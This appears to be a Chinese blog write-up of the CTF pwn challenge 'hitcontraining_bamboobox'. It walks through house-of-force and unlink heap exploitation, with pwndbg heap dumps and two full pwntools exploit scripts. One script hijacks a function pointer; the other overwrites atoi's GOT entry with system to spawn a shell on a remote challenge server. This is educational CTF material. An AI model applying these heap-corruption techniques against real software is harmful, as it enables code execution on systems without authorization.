hitcontraining_bamboobox

hitcontraining_bamboobox这道题有两种解题方式:

  1. house of force

    参考:house of force

  2. unlink

house of force(详解)

知识点

只要top chunk size够大,就能随意申请chunk

所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffff最大值),然后malloc(负数)可以向上申请,malloc(正数)

题目流程

程序一开始申请0x10的块,存放hello_message和goodbye_message的指针,而且最后在功能5中会调用goodbye_message。
在这里插入图片描述在这里插入图片描述

所以,可以通过house of force修改top chunk size,然后将top chunk申请到v3里,修改v3的指针为后门函数magic的地址,然后即可get flag。

详细过程

1.申请一个chunk

为了不跟v3的大小0x10撞,选择0x30的大小。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1a89000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1a89020
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x1a89060
Size: 0x20fa1
pwndbg> x/30gx 0x1a89000
0x1a89000:	0x0000000000000000	0x0000000000000021#v3
0x1a89010:	0x0000000000400896	0x00000000004008b1#hello_message、goodbye_message
0x1a89020:	0x0000000000000000	0x0000000000000041#申请的chunk
0x1a89030:	0x0000000a61616161	0x0000000000000000
0x1a89040:	0x0000000000000000	0x0000000000000000
0x1a89050:	0x0000000000000000	0x0000000000000000
0x1a89060:	0x0000000000000000	0x0000000000020fa1#top chunk size
0x1a89070:	0x0000000000000000	0x0000000000000000
0x1a89080:	0x0000000000000000	0x0000000000000000

2.堆溢出修改top chunk

手动输入新top chunk为最大值0xffffffffffffffff(本质就是-1,但好像直接-1不太好使,,,)

Allocated chunk | PREV_INUSE
Addr: 0xc32000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xc32020
Size: 0x41

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0xc32060
Size: 0x-1	#成功修改为-1
pwndbg> x/30gx 0xc32000
0xc32000:	0x0000000000000000	0x0000000000000021	#v3(目的地址)
0xc32010:	0x0000000000400896	0x00000000004008b1
0xc32020:	0x0000000000000000	0x0000000000000041
0xc32030:	0x6161616161616161	0x6161616161616161
0xc32040:	0x6161616161616161	0x6161616161616161
0xc32050:	0x6161616161616161	0x6161616161616161
0xc32060:	0x0000000000000000	0xffffffffffffffff	#chunk
0xc32070:	0x0000000000000000	0x0000000000000000
3.向上申请到v3的地址

向上申请块,需要malloc(负数),负数 = 0xc32000 - 0xc32060 - 0x10 = -0x70(-112)

pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0xeae000	#成功修改chunk的位置
Size: 0x59
pwndbg> x/30gx 0xeae000
0xeae000:	0x0000000000000000	0x0000000000000059#目的地址
0xeae010:	0x0000000000400896	0x00000000004008b1
0xeae020:	0x0000000000000000	0x0000000000000041
0xeae030:	0x6161616161616161	0x6161616161616161
0xeae040:	0x6161616161616161	0x6161616161616161
0xeae050:	0x6161616161616161	0x6161616161616161
0xeae060:	0x0000000000000000	0x00ffffffffffffa1
0xeae070:	0x0000000000000000	0x0000000000000000
4.申请一个块,填入内容magic
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x2034000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x2034020
Size: 0x39
pwndbg> x/30gx 0x2034000
0x2034000:	0x0000000000000000	0x0000000000000021
0x2034010:	0x0000000000400d49	0x0000000000400d49	#修改成功
0x2034020:	0x0000000000000000	0x0000000000000039
0x2034030:	0x6161616161616161	0x6161616161616161
0x2034040:	0x6161616161616161	0x6161616161616161
0x2034050:	0x6161616161616161	0x6161616161616161
0x2034060:	0x0000000000000000	0x00ffffffffffffa1
0x2034070:	0x0000000000000000	0x0000000000000000
执行功能5

也就是会v3[1](),v3[1]的地址已经被修改为magic的地址,故将执行后门函数magic()

[DEBUG] Received 0xe bytes:
    'flag{good_job}'
flag{good_job}[*] Got EOF while reading in interactive

完整exp

from pwn import *
p = process('./bamboobox')
context.log_level = 'debug'

magic = 0x00400D49 

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

def exit():
    p.recvuntil("Your choice:")
    p.sendline(str(5))

alloc(0x30,"aaaa")
payload = "a" * 0x30
payload += p64(0) + p64(0xffffffffffffffff)
change(0,payload)
alloc(-112,"aaaa")
alloc(0x10,p64(magic)*2)
exit()
# gdb.attach(p)
# pause()

p.interactive()

unlink

unlink具体已经通过hitcon_2014_stkof详解学习了,但是做本题的时候,遇到了一些问题,,,记录下。

思路比较简单:

  1. unlink
  2. 修改chunk1指针为atoi_got
  3. show打印atoi地址,计算system
  4. edit修改stoi_got为system地址
  5. 重新启动的时候,发送’/bin/sh’即可执行atoi(输入的数据) => system(’/bin/sh’)

未解决的问题

1.target取值问题

target = 0x6020c8可以

pwndbg> x/30gx 0x6020c0
0x6020c0 <itemlist>:	0x0000000000000030	0x00000000006020b0
0x6020d0 <itemlist+16>:	0x0000000000000000	0x0000000000000000
0x6020e0 <itemlist+32>:	0x0000000000000030	0x00000000022e8100
0x6020f0 <itemlist+48>:	0x0000000000000000	0x0000000000000000

但是target = 0x6020c8+0x10会导致整个脚本不可用。

难道是不能最后清零?

2.覆盖指针问题

就很奇怪,不能用puts_got表(0x602020),同样报错,其他的可以,,,

完整exp

from pwn import *
p = process('./bamboobox')
p=remote("node3.buuoj.cn",27073)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

atoi_got = elf.got['atoi']

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8   #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)
# x/30gx 0x6020c8

payload = p64(0) * 2
# print(hex(puts_got))
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()

其实这道题比hitcon_2014_stkof详解这道题要简单,,,给了打印函数,可以直接show出来地址(无须构造puts),覆盖atoi方便,因为程序开头有atoi(输入八字节)的操作,只要覆盖atoi_got表为system地址即可get shell。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值